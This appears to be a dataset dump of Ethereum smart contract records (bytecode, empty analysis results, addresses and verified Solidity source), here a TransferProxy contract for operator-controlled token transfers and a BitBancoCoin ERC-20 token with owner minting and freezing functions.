565b820191906000526020600020905b81548152906001019060200180831161029257829003601f168201915b5050505050905090565b60006102cd6102c6610576565b848461057e565b6001905092915050565b6000600254905090565b60006102ee848484610749565b6000600160008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000206000610339610576565b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020549050828110156103b9576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016103b090610f2b565b60405180910390fd5b6103d6856103c5610576565b85846103d19190611053565b61057e565b60019150509392505050565b6103eb816109c8565b50565b60006012905090565b60008060008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020549050919050565b60606004805461044e9061110f565b80601f016020809104026020016040519081016040528092919081815260200182805461047a9061110f565b80156104c75780601f1061049c576101008083540402835291602001916104c7565b820191906000526020600020905b8154815290600101906020018083116104aa57829003601f168201915b5050505050905090565b60006104e56104de610576565b8484610749565b6001905092915050565b6000600160008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054905092915050565b600033905090565b600073ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff1614156105ee576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016105e590610f8b565b60405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff16141561065e576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161065590610eeb565b60405180910390fd5b80600160008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055508173ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff167f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b9258360405161073c9190610fab565b60405180910390a3505050565b600073ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff1614156107b9576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016107b090610f6b565b60405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff161415610829576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161082090610eab565b60405180910390fd5b610834838383610ba8565b60008060008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020549050818110156108ba576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016108b190610f0b565b60405180910390fd5b81816108c69190611053565b6000808673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002081905550816000808573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008282546109569190610ffd565b925050819055508273ffffffffffffffffffffffffffffffffffffffff168473ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef846040516109ba9190610fab565b60405180910390a350505050565b60006109d2610576565b9050600073ffffffffffffffffffffffffffffffffffffffff168173ffffffffffffffffffffffffffffffffffffffff161415610a44576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610a3b90610f4b565b60405180910390fd5b610a5081600084610ba8565b60008060008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054905082811015610ad6576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610acd90610ecb565b60405180910390fd5b8281610ae29190611053565b6000808473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055508260026000828254610b369190611053565b92505081905550600073ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef85604051610b9b9190610fab565b60405180910390a3505050565b505050565b600081359050610bbc81611428565b92915050565b600081359050610bd18161143f565b92915050565b600060208284031215610be957600080fd5b6000610bf784828501610bad565b91505092915050565b60008060408385031215610c1357600080fd5b6000610c2185828601610bad565b9250506020610c3285828601610bad565b9150509250929050565b600080600060608486031215610c5157600080fd5b6000610c5f86828701610bad565b9350506020610c7086828701610bad565b9250506040610c8186828701610bc2565b9150509250925092565b60008060408385031215610c9e57600080fd5b6000610cac85828601610bad565b9250506020610cbd85828601610bc2565b9150509250929050565b600060208284031215610cd957600080fd5b6000610ce784828501610bc2565b91505092915050565b610cf981611099565b82525050565b6000610d0a82610fe1565b610d148185610fec565b9350610d248185602086016110dc565b610d2d8161119f565b840191505092915050565b6000610d45602383610fec565b9150610d50826111b0565b604082019050919050565b6000610d68602283610fec565b9150610d73826111ff565b604082019050919050565b6000610d8b602283610fec565b9150610d968261124e565b604082019050919050565b6000610dae602683610fec565b9150610db98261129d565b604082019050919050565b6000610dd1602883610fec565b9150610ddc826112ec565b604082019050919050565b6000610df4602183610fec565b9150610dff8261133b565b604082019050919050565b6000610e17602583610fec565b9150610e228261138a565b604082019050919050565b6000610e3a602483610fec565b9150610e45826113d9565b604082019050919050565b610e59816110c5565b82525050565b610e68816110cf565b82525050565b6000602082019050610e836000830184610cf0565b92915050565b60006020820190508181036000830152610ea38184610cff565b905092915050565b60006020820190508181036000830152610ec481610d38565b9050919050565b60006020820190508181036000830152610ee481610d5b565b9050919050565b60006020820190508181036000830152610f0481610d7e565b9050919050565b60006020820190508181036000830152610f2481610da1565b9050919050565b60006020820190508181036000830152610f4481610dc4565b9050919050565b60006020820190508181036000830152610f6481610de7565b9050919050565b60006020820190508181036000830152610f8481610e0a565b9050919050565b60006020820190508181036000830152610fa481610e2d565b9050919050565b6000602082019050610fc06000830184610e50565b92915050565b6000602082019050610fdb6000830184610e5f565b92915050565b600081519050919050565b600082825260208201905092915050565b6000611008826110c5565b9150611013836110c5565b9250827fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff0382111561104857611047611141565b5b828201905092915050565b600061105e826110c5565b9150611069836110c5565b92508282101561107c5761107b611141565b5b828203905092915050565b6000611092826110a5565b9050919050565b60008115159050919050565b600073ffffffffffffffffffffffffffffffffffffffff82169050919050565b6000819050919050565b600060ff82169050919050565b60005b838110156110fa5780820151818401526020810190506110df565b83811115611109576000848401525b50505050565b6000600282049050600182168061112757607f821691505b6020821081141561113b5761113a611170565b5b50919050565b7f4e487b7100000000000000000000000000000000000000000000000000000000600052601160045260246000fd5b7f4e487b7100000000000000000000000000000000000000000000000000000000600052602260045260246000fd5b6000601f19601f8301169050919050565b7f45524332303a207472616e7366657220746f20746865207a65726f206164647260008201527f6573730000000000000000000000000000000000000000000000000000000000602082015250565b7f45524332303a206275726e20616d6f756e7420657863656564732062616c616e60008201527f6365000000000000000000000000000000000000000000000000000000000000602082015250565b7f45524332303a20617070726f766520746f20746865207a65726f20616464726560008201527f7373000000000000000000000000000000000000000000000000000000000000602082015250565b7f45524332303a207472616e7366657220616d6f756e742065786365656473206260008201527f616c616e63650000000000000000000000000000000000000000000000000000602082015250565b7f45524332303a207472616e7366657220616d6f756e742065786365656473206160008201527f6c6c6f77616e6365000000000000000000000000000000000000000000000000602082015250565b7f45524332303a206275726e2066726f6d20746865207a65726f2061646472657360008201527f7300000000000000000000000000000000000000000000000000000000000000602082015250565b7f45524332303a207472616e736665722066726f6d20746865207a65726f20616460008201527f6472657373000000000000000000000000000000000000000000000000000000602082015250565b7f45524332303a20617070726f76652066726f6d20746865207a65726f2061646460008201527f7265737300000000000000000000000000000000000000000000000000000000602082015250565b61143181611087565b811461143c57600080fd5b50565b611448816110c5565b811461145357600080fd5b5056fea26469706673582212205e8dc1f565d871951303f3d3f754c9d709ab963a726f27e17b64d7865c58de5064736f6c63430008040033
{"success": true, "error": null, "results": {}}
5,686
0x2de55a5e7c97a7d810e1e0e90b2c6da6188479ee
/** *Submitted for verification at Etherscan.io on 2022-02-16 */ //SPDX-License-Identifier: UNLICENSED pragma solidity ^0.8.4; interface IERC165 { /** * @dev Returns true if this contract implements the interface defined by * `interfaceId`. See the corresponding * https://eips.ethereum.org/EIPS/eip-165#how-interfaces-are-identified[EIP section] * to learn more about how these ids are created. * * This function call must use less than 30 000 gas. */ function supportsInterface(bytes4 interfaceId) external view returns (bool); } /** * @dev Required interface of an ERC721 compliant contract. */ interface IERC721 is IERC165 { event Transfer(address indexed from, address indexed to, uint256 indexed tokenId); event Approval(address indexed owner, address indexed approved, uint256 indexed tokenId); event ApprovalForAll(address indexed owner, address indexed operator, bool approved); /** * @dev Returns the number of NFTs in `owner`'s account. */ function balanceOf(address owner) external view returns (uint256 balance); /** * @dev Returns the owner of the NFT specified by `tokenId`. */ function ownerOf(uint256 tokenId) external view returns (address owner); /** * @dev Transfers a specific NFT (`tokenId`) from one account (`from`) to * another (`to`). * * * * Requirements: * - `from`, `to` cannot be zero. * - `tokenId` must be owned by `from`. * - `tokenId` must be owned by `from`. * - If the caller is not `from`, it must be have been allowed to move this * NFT by either {approve} or {setApprovalForAll}. */ function safeTransferFrom(address from, address to, uint256 tokenId) external; /** * @dev Transfers a specific NFT (`tokenId`) from one account (`from`) to * another (`to`). * * Requirements: * - If the caller is not `from`, it must be approved to move this NFT by * either {approve} or {setApprovalForAll}. */ function transferFrom(address from, address to, uint256 tokenId) external; function approve(address to, uint256 tokenId) external; function getApproved(uint256 tokenId) external view returns (address operator); function setApprovalForAll(address operator, bool _approved) external; function isApprovedForAll(address owner, address operator) external view returns (bool); function safeTransferFrom(address from, address to, uint256 tokenId, bytes calldata data) external; } interface IERC1155 is IERC165 { /** @dev Either `TransferSingle` or `TransferBatch` MUST emit when tokens are transferred, including zero value transfers as well as minting or burning (see "Safe Transfer Rules" section of the standard). The `_operator` argument MUST be msg.sender. The `_from` argument MUST be the address of the holder whose balance is decreased. The `_to` argument MUST be the address of the recipient whose balance is increased. The `_id` argument MUST be the token type being transferred. The `_value` argument MUST be the number of tokens the holder balance is decreased by and match what the recipient balance is increased by. When minting/creating tokens, the `_from` argument MUST be set to `0x0` (i.e. zero address). When burning/destroying tokens, the `_to` argument MUST be set to `0x0` (i.e. zero address). */ event TransferSingle(address indexed _operator, address indexed _from, address indexed _to, uint256 _id, uint256 _value); /** @dev Either `TransferSingle` or `TransferBatch` MUST emit when tokens are transferred, including zero value transfers as well as minting or burning (see "Safe Transfer Rules" section of the standard). The `_operator` argument MUST be msg.sender. The `_from` argument MUST be the address of the holder whose balance is decreased. The `_to` argument MUST be the address of the recipient whose balance is increased. The `_ids` argument MUST be the list of tokens being transferred. The `_values` argument MUST be the list of number of tokens (matching the list and order of tokens specified in _ids) the holder balance is decreased by and match what the recipient balance is increased by. When minting/creating tokens, the `_from` argument MUST be set to `0x0` (i.e. zero address). When burning/destroying tokens, the `_to` argument MUST be set to `0x0` (i.e. zero address). */ event TransferBatch(address indexed _operator, address indexed _from, address indexed _to, uint256[] _ids, uint256[] _values); /** @dev MUST emit when approval for a second party/operator address to manage all tokens for an owner address is enabled or disabled (absense of an event assumes disabled). */ event ApprovalForAll(address indexed _owner, address indexed _operator, bool _approved); /** @dev MUST emit when the URI is updated for a token ID. URIs are defined in RFC 3986. The URI MUST point a JSON file that conforms to the "ERC-1155 Metadata URI JSON Schema". */ event URI(string _value, uint256 indexed _id); /** @notice Transfers `_value` amount of an `_id` from the `_from` address to the `_to` address specified (with safety call). @dev Caller must be approved to manage the tokens being transferred out of the `_from` account (see "Approval" section of the standard). MUST revert if `_to` is the zero address. MUST revert if balance of holder for token `_id` is lower than the `_value` sent. MUST revert on any other error. MUST emit the `TransferSingle` event to reflect the balance change (see "Safe Transfer Rules" section of the standard). After the above conditions are met, this function MUST check if `_to` is a smart contract (e.g. code size > 0). If so, it MUST call `onERC1155Received` on `_to` and act appropriately (see "Safe Transfer Rules" section of the standard). @param _from Source address @param _to Target address @param _id ID of the token type @param _value Transfer amount @param _data Additional data with no specified format, MUST be sent unaltered in call to `onERC1155Received` on `_to` */ function safeTransferFrom(address _from, address _to, uint256 _id, uint256 _value, bytes calldata _data) external; /** @notice Transfers `_values` amount(s) of `_ids` from the `_from` address to the `_to` address specified (with safety call). @dev Caller must be approved to manage the tokens being transferred out of the `_from` account (see "Approval" section of the standard). MUST revert if `_to` is the zero address. MUST revert if length of `_ids` is not the same as length of `_values`. MUST revert if any of the balance(s) of the holder(s) for token(s) in `_ids` is lower than the respective amount(s) in `_values` sent to the recipient. MUST revert on any other error. MUST emit `TransferSingle` or `TransferBatch` event(s) such that all the balance changes are reflected (see "Safe Transfer Rules" section of the standard). Balance changes and events MUST follow the ordering of the arrays (_ids[0]/_values[0] before _ids[1]/_values[1], etc). After the above conditions for the transfer(s) in the batch are met, this function MUST check if `_to` is a smart contract (e.g. code size > 0). If so, it MUST call the relevant `ERC1155TokenReceiver` hook(s) on `_to` and act appropriately (see "Safe Transfer Rules" section of the standard). @param _from Source address @param _to Target address @param _ids IDs of each token type (order and length must match _values array) @param _values Transfer amounts per token type (order and length must match _ids array) @param _data Additional data with no specified format, MUST be sent unaltered in call to the `ERC1155TokenReceiver` hook(s) on `_to` */ function safeBatchTransferFrom(address _from, address _to, uint256[] calldata _ids, uint256[] calldata _values, bytes calldata _data) external; /** @notice Get the balance of an account's Tokens. @param _owner The address of the token holder @param _id ID of the Token @return The _owner's balance of the Token type requested */ function balanceOf(address _owner, uint256 _id) external view returns (uint256); /** @notice Get the balance of multiple account/token pairs @param _owners The addresses of the token holders @param _ids ID of the Tokens @return The _owner's balance of the Token types requested (i.e. balance for each (owner, id) pair) */ function balanceOfBatch(address[] calldata _owners, uint256[] calldata _ids) external view returns (uint256[] memory); /** @notice Enable or disable approval for a third party ("operator") to manage all of the caller's tokens. @dev MUST emit the ApprovalForAll event on success. @param _operator Address to add to the set of authorized operators @param _approved True if the operator is approved, false to revoke approval */ function setApprovalForAll(address _operator, bool _approved) external; /** @notice Queries the approval status of an operator for a given owner. @param _owner The owner of the Tokens @param _operator Address of authorized operator @return True if the operator is approved, false if not */ function isApprovedForAll(address _owner, address _operator) external view returns (bool); } interface IERC20 { function totalSupply() external view returns (uint256); function balanceOf(address account) external view returns (uint256); function transfer(address recipient, uint256 amount) external returns (bool); function allowance(address owner, address spender) external view returns (uint256); function approve(address spender, uint256 amount) external returns (bool); function transferFrom(address sender, address recipient, uint256 amount) external returns (bool); event Transfer(address indexed from, address indexed to, uint256 value); event Approval(address indexed owner, address indexed spender, uint256 value); } contract TransferProxy { event operatorChanged(address indexed from, address indexed to); event OwnershipTransferred(address indexed previousOwner, address indexed newOwner); address public owner; address public operator; constructor() { owner = msg.sender; } /** * @dev Throws if called by any account other than the owner. */ modifier onlyOwner() { require(owner == msg.sender, "Ownable: caller is not the owner"); _; } modifier onlyOperator() { require(operator == msg.sender, "OperatorRole: caller does not have the Operator role"); _; } /** change the OperatorRole from contract creator address to trade contractaddress @param _operator :trade address */ function changeOperator(address _operator) public onlyOwner returns(bool) { require(_operator != address(0), "Operator: new operator is the zero address"); operator = _operator; emit operatorChanged(address(0),operator); return true; } /** change the Ownership from current owner to newOwner address @param newOwner : newOwner address */ function transferOwnership(address newOwner) public onlyOwner returns(bool){ require(newOwner != address(0), "Ownable: new owner is the zero address"); owner = newOwner; emit OwnershipTransferred(owner, newOwner); return true; } function erc721safeTransferFrom(IERC721 token, address from, address to, uint256 tokenId) external onlyOperator { token.safeTransferFrom(from, to, tokenId); } function erc1155safeTransferFrom(IERC1155 token, address from, address to, uint256 tokenId, uint256 value, bytes calldata data) external onlyOperator { token.safeTransferFrom(from, to, tokenId, value, data); } function erc20safeTransferFrom(IERC20 token, address from, address to, uint256 value) external onlyOperator { require(token.transferFrom(from, to, value), "failure while transferring"); } }
0x608060405234801561001057600080fd5b506004361061007d5760003560e01c80638da5cb5b1161005b5780638da5cb5b146100ea5780639c1c2ee9146100fd578063f2fde38b14610110578063f709b9061461012357600080fd5b806306394c9b14610082578063570ca735146100aa578063776062c3146100d5575b600080fd5b61009561009036600461059b565b610136565b60405190151581526020015b60405180910390f35b6001546100bd906001600160a01b031681565b6040516001600160a01b0390911681526020016100a1565b6100e86100e3366004610697565b610250565b005b6000546100bd906001600160a01b031681565b6100e861010b3660046105de565b610356565b61009561011e36600461059b565b6103f1565b6100e8610131366004610697565b610501565b600080546001600160a01b031633146101965760405162461bcd60e51b815260206004820181905260248201527f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e657260448201526064015b60405180910390fd5b6001600160a01b0382166101ff5760405162461bcd60e51b815260206004820152602a60248201527f4f70657261746f723a206e6577206f70657261746f7220697320746865207a65604482015269726f206164647265737360b01b606482015260840161018d565b600180546001600160a01b0319166001600160a01b0384169081179091556040516000907f1a377613c0f1788c756a416e15f930cf9e84c3a5e808fa2f00b5a18a91a7b864908290a3506001919050565b6001546001600160a01b0316331461027a5760405162461bcd60e51b815260040161018d90610740565b6040516323b872dd60e01b81526001600160a01b0384811660048301528381166024830152604482018390528516906323b872dd90606401602060405180830381600087803b1580156102cc57600080fd5b505af11580156102e0573d6000803e3d6000fd5b505050506040513d601f19601f8201168201806040525081019061030491906105be565b6103505760405162461bcd60e51b815260206004820152601a60248201527f6661696c757265207768696c65207472616e7366657272696e67000000000000604482015260640161018d565b50505050565b6001546001600160a01b031633146103805760405162461bcd60e51b815260040161018d90610740565b604051637921219560e11b81526001600160a01b0388169063f242432a906103b6908990899089908990899089906004016106e7565b600060405180830381600087803b1580156103d057600080fd5b505af11580156103e4573d6000803e3d6000fd5b5050505050505050505050565b600080546001600160a01b0316331461044c5760405162461bcd60e51b815260206004820181905260248201527f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e6572604482015260640161018d565b6001600160a01b0382166104b15760405162461bcd60e51b815260206004820152602660248201527f4f776e61626c653a206e6577206f776e657220697320746865207a65726f206160448201526564647265737360d01b606482015260840161018d565b600080546001600160a01b0319166001600160a01b0384169081178255604051909182917f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e09190a3506001919050565b6001546001600160a01b0316331461052b5760405162461bcd60e51b815260040161018d90610740565b604051632142170760e11b81526001600160a01b0384811660048301528381166024830152604482018390528516906342842e0e90606401600060405180830381600087803b15801561057d57600080fd5b505af1158015610591573d6000803e3d6000fd5b5050505050505050565b6000602082840312156105ac578081fd5b81356105b781610794565b9392505050565b6000602082840312156105cf578081fd5b815180151581146105b7578182fd5b600080600080600080600060c0888a0312156105f8578283fd5b873561060381610794565b9650602088013561061381610794565b9550604088013561062381610794565b9450606088013593506080880135925060a088013567ffffffffffffffff8082111561064d578384fd5b818a0191508a601f830112610660578384fd5b81358181111561066e578485fd5b8b602082850101111561067f578485fd5b60208301945080935050505092959891949750929550565b600080600080608085870312156106ac578384fd5b84356106b781610794565b935060208501356106c781610794565b925060408501356106d781610794565b9396929550929360600135925050565b6001600160a01b03878116825286166020820152604081018590526060810184905260a06080820181905281018290526000828460c084013781830160c090810191909152601f909201601f1916010195945050505050565b60208082526034908201527f4f70657261746f72526f6c653a2063616c6c657220646f6573206e6f74206861604082015273766520746865204f70657261746f7220726f6c6560601b606082015260800190565b6001600160a01b03811681146107a957600080fd5b5056fea26469706673582212207cac234e3ef9d77d677ff14c2978ce1ef4b5dfddd18adf123e843e885a123c1964736f6c63430008040033
{"success": true, "error": null, "results": {}}
5,687
0x31b566a89cef7962aa647ae6766ea8fb1dd6ccdb
pragma solidity ^0.4.21; /* * Creator: BBC (BitBancoCoin) */ /* * Abstract Token Smart Contract * */ /* * Safe Math Smart Contract. * https://github.com/OpenZeppelin/zeppelin-solidity/blob/master/contracts/math/SafeMath.sol */ contract SafeMath { function mul(uint256 a, uint256 b) internal pure returns (uint256) { if (a == 0) { return 0; } uint256 c = a * b; assert(c / a == b); return c; } function safeDiv(uint256 a, uint256 b) internal pure returns (uint256) { // assert(b > 0); // Solidity automatically throws when dividing by 0 uint256 c = a / b; // assert(a == b * c + a % b); // There is no case in which this doesn&#39;t hold return c; } function safeSub(uint256 a, uint256 b) internal pure returns (uint256) { assert(b <= a); return a - b; } function safeAdd(uint256 a, uint256 b) internal pure returns (uint256) { uint256 c = a + b; assert(c >= a); return c; } } /** * ERC-20 standard token interface, as defined * <a href="http://github.com/ethereum/EIPs/issues/20">here</a>. */ contract Token { function totalSupply() constant returns (uint256 supply); function balanceOf(address _owner) constant returns (uint256 balance); function transfer(address _to, uint256 _value) returns (bool success); function transferFrom(address _from, address _to, uint256 _value) returns (bool success); function approve(address _spender, uint256 _value) returns (bool success); function allowance(address _owner, address _spender) constant returns (uint256 remaining); event Transfer(address indexed _from, address indexed _to, uint256 _value); event Approval(address indexed _owner, address indexed _spender, uint256 _value); } /** * Abstract Token Smart Contract that could be used as a base contract for * ERC-20 token contracts. */ contract AbstractToken is Token, SafeMath { /** * Create new Abstract Token contract. */ function AbstractToken () { // Do nothing } /** * Get number of tokens currently belonging to given owner. * * @param _owner address to get number of tokens currently belonging to the * owner of * @return number of tokens currently belonging to the owner of given address */ function balanceOf(address _owner) constant returns (uint256 balance) { return accounts [_owner]; } /** * Transfer given number of tokens from message sender to given recipient. * * @param _to address to transfer tokens to the owner of * @param _value number of tokens to transfer to the owner of given address * @return true if tokens were transferred successfully, false otherwise * accounts [_to] + _value > accounts [_to] for overflow check * which is already in safeMath */ function transfer(address _to, uint256 _value) returns (bool success) { require(_to != address(0)); if (accounts [msg.sender] < _value) return false; if (_value > 0 && msg.sender != _to) { accounts [msg.sender] = safeSub (accounts [msg.sender], _value); accounts [_to] = safeAdd (accounts [_to], _value); } Transfer (msg.sender, _to, _value); return true; } /** * Transfer given number of tokens from given owner to given recipient. * * @param _from address to transfer tokens from the owner of * @param _to address to transfer tokens to the owner of * @param _value number of tokens to transfer from given owner to given * recipient * @return true if tokens were transferred successfully, false otherwise * accounts [_to] + _value > accounts [_to] for overflow check * which is already in safeMath */ function transferFrom(address _from, address _to, uint256 _value) returns (bool success) { require(_to != address(0)); if (allowances [_from][msg.sender] < _value) return false; if (accounts [_from] < _value) return false; if (_value > 0 && _from != _to) { allowances [_from][msg.sender] = safeSub (allowances [_from][msg.sender], _value); accounts [_from] = safeSub (accounts [_from], _value); accounts [_to] = safeAdd (accounts [_to], _value); } Transfer(_from, _to, _value); return true; } /** * Allow given spender to transfer given number of tokens from message sender. * @param _spender address to allow the owner of to transfer tokens from message sender * @param _value number of tokens to allow to transfer * @return true if token transfer was successfully approved, false otherwise */ function approve (address _spender, uint256 _value) returns (bool success) { allowances [msg.sender][_spender] = _value; Approval (msg.sender, _spender, _value); return true; } /** * Tell how many tokens given spender is currently allowed to transfer from * given owner. * * @param _owner address to get number of tokens allowed to be transferred * from the owner of * @param _spender address to get number of tokens allowed to be transferred * by the owner of * @return number of tokens given spender is currently allowed to transfer * from given owner */ function allowance(address _owner, address _spender) constant returns (uint256 remaining) { return allowances [_owner][_spender]; } /** * Mapping from addresses of token holders to the numbers of tokens belonging * to these token holders. */ mapping (address => uint256) accounts; /** * Mapping from addresses of token holders to the mapping of addresses of * spenders to the allowances set by these token holders to these spenders. */ mapping (address => mapping (address => uint256)) private allowances; } /** * BBC token smart contract. */ contract BBCToken is AbstractToken { /** * Maximum allowed number of tokens in circulation. * tokenSupply = tokensIActuallyWant * (10 ^ decimals) */ uint256 constant MAX_TOKEN_COUNT = 55000000 * (10**9); /** * Address of the owner of this smart contract. */ address private owner; /** * Frozen account list holder */ mapping (address => bool) private frozenAccount; /** * Current number of tokens in circulation. */ uint256 tokenCount = 0; /** * True if tokens transfers are currently frozen, false otherwise. */ bool frozen = false; /** * Create new token smart contract and make msg.sender the * owner of this smart contract. */ function BBCToken () { owner = msg.sender; } /** * Get total number of tokens in circulation. * * @return total number of tokens in circulation */ function totalSupply() constant returns (uint256 supply) { return tokenCount; } string constant public name = "BitBancoCoin"; string constant public symbol = "BBC"; uint8 constant public decimals = 9; /** * Transfer given number of tokens from message sender to given recipient. * @param _to address to transfer tokens to the owner of * @param _value number of tokens to transfer to the owner of given address * @return true if tokens were transferred successfully, false otherwise */ function transfer(address _to, uint256 _value) returns (bool success) { require(!frozenAccount[msg.sender]); if (frozen) return false; else return AbstractToken.transfer (_to, _value); } /** * Transfer given number of tokens from given owner to given recipient. * * @param _from address to transfer tokens from the owner of * @param _to address to transfer tokens to the owner of * @param _value number of tokens to transfer from given owner to given * recipient * @return true if tokens were transferred successfully, false otherwise */ function transferFrom(address _from, address _to, uint256 _value) returns (bool success) { require(!frozenAccount[_from]); if (frozen) return false; else return AbstractToken.transferFrom (_from, _to, _value); } /** * Change how many tokens given spender is allowed to transfer from message * spender. In order to prevent double spending of allowance, * To change the approve amount you first have to reduce the addresses` * allowance to zero by calling `approve(_spender, 0)` if it is not * already 0 to mitigate the race condition described here: * https://github.com/ethereum/EIPs/issues/20#issuecomment-263524729 * @param _spender address to allow the owner of to transfer tokens from * message sender * @param _value number of tokens to allow to transfer * @return true if token transfer was successfully approved, false otherwise */ function approve (address _spender, uint256 _value) returns (bool success) { require(allowance (msg.sender, _spender) == 0 || _value == 0); return AbstractToken.approve (_spender, _value); } /** * Create _value new tokens and give new created tokens to msg.sender. * May only be called by smart contract owner. * * @param _value number of tokens to create * @return true if tokens were created successfully, false otherwise */ function createTokens(uint256 _value) returns (bool success) { require (msg.sender == owner); if (_value > 0) { if (_value > safeSub (MAX_TOKEN_COUNT, tokenCount)) return false; accounts [msg.sender] = safeAdd (accounts [msg.sender], _value); tokenCount = safeAdd (tokenCount, _value); // adding transfer event and _from address as null address Transfer(0x0, msg.sender, _value); return true; } return false; } /** * Set new owner for the smart contract. * May only be called by smart contract owner. * * @param _newOwner address of new owner of the smart contract */ function setOwner(address _newOwner) { require (msg.sender == owner); owner = _newOwner; } /** * Freeze ALL token transfers. * May only be called by smart contract owner. */ function freezeTransfers () { require (msg.sender == owner); if (!frozen) { frozen = true; Freeze (); } } /** * Unfreeze ALL token transfers. * May only be called by smart contract owner. */ function unfreezeTransfers () { require (msg.sender == owner); if (frozen) { frozen = false; Unfreeze (); } } /*A user is able to unintentionally send tokens to a contract * and if the contract is not prepared to refund them they will get stuck in the contract. * The same issue used to happen for Ether too but new Solidity versions added the payable modifier to * prevent unintended Ether transfers. However, there’s no such mechanism for token transfers. * so the below function is created */ function refundTokens(address _token, address _refund, uint256 _value) { require (msg.sender == owner); require(_token != address(this)); AbstractToken token = AbstractToken(_token); token.transfer(_refund, _value); RefundTokens(_token, _refund, _value); } /** * Freeze specific account * May only be called by smart contract owner. */ function freezeAccount(address _target, bool freeze) { require (msg.sender == owner); require (msg.sender != _target); frozenAccount[_target] = freeze; FrozenFunds(_target, freeze); } /** * Logged when token transfers were frozen. */ event Freeze (); /** * Logged when token transfers were unfrozen. */ event Unfreeze (); /** * Logged when a particular account is frozen. */ event FrozenFunds(address target, bool frozen); /** * when accidentally send other tokens are refunded */ event RefundTokens(address _token, address _refund, uint256 _value); }
0x6060604052600436106100db576000357c0100000000000000000000000000000000000000000000000000000000900463ffffffff16806301502460146100e057806306fdde03146100f5578063095ea7b31461018357806313af4035146101dd57806318160ddd1461021657806323b872dd1461023f578063313ce567146102b857806331c420d4146102e757806370a08231146102fc5780637e1f2bb81461034957806389519c501461038457806395d89b41146103e5578063a9059cbb14610473578063dd62ed3e146104cd578063e724529c14610539575b600080fd5b34156100eb57600080fd5b6100f361057d565b005b341561010057600080fd5b610108610639565b6040518080602001828103825283818151815260200191508051906020019080838360005b8381101561014857808201518184015260208101905061012d565b50505050905090810190601f1680156101755780820380516001836020036101000a031916815260200191505b509250505060405180910390f35b341561018e57600080fd5b6101c3600480803573ffffffffffffffffffffffffffffffffffffffff16906020019091908035906020019091905050610672565b604051808215151515815260200191505060405180910390f35b34156101e857600080fd5b610214600480803573ffffffffffffffffffffffffffffffffffffffff169060200190919050506106a8565b005b341561022157600080fd5b610229610748565b6040518082815260200191505060405180910390f35b341561024a57600080fd5b61029e600480803573ffffffffffffffffffffffffffffffffffffffff1690602001909190803573ffffffffffffffffffffffffffffffffffffffff16906020019091908035906020019091905050610752565b604051808215151515815260200191505060405180910390f35b34156102c357600080fd5b6102cb6107e0565b604051808260ff1660ff16815260200191505060405180910390f35b34156102f257600080fd5b6102fa6107e5565b005b341561030757600080fd5b610333600480803573ffffffffffffffffffffffffffffffffffffffff169060200190919050506108a0565b6040518082815260200191505060405180910390f35b341561035457600080fd5b61036a60048080359060200190919050506108e8565b604051808215151515815260200191505060405180910390f35b341561038f57600080fd5b6103e3600480803573ffffffffffffffffffffffffffffffffffffffff1690602001909190803573ffffffffffffffffffffffffffffffffffffffff16906020019091908035906020019091905050610a71565b005b34156103f057600080fd5b6103f8610c6c565b6040518080602001828103825283818151815260200191508051906020019080838360005b8381101561043857808201518184015260208101905061041d565b50505050905090810190601f1680156104655780820380516001836020036101000a031916815260200191505b509250505060405180910390f35b341561047e57600080fd5b6104b3600480803573ffffffffffffffffffffffffffffffffffffffff16906020019091908035906020019091905050610ca5565b604051808215151515815260200191505060405180910390f35b34156104d857600080fd5b610523600480803573ffffffffffffffffffffffffffffffffffffffff1690602001909190803573ffffffffffffffffffffffffffffffffffffffff16906020019091905050610d31565b6040518082815260200191505060405180910390f35b341561054457600080fd5b61057b600480803573ffffffffffffffffffffffffffffffffffffffff169060200190919080351515906020019091905050610db8565b005b600260009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffff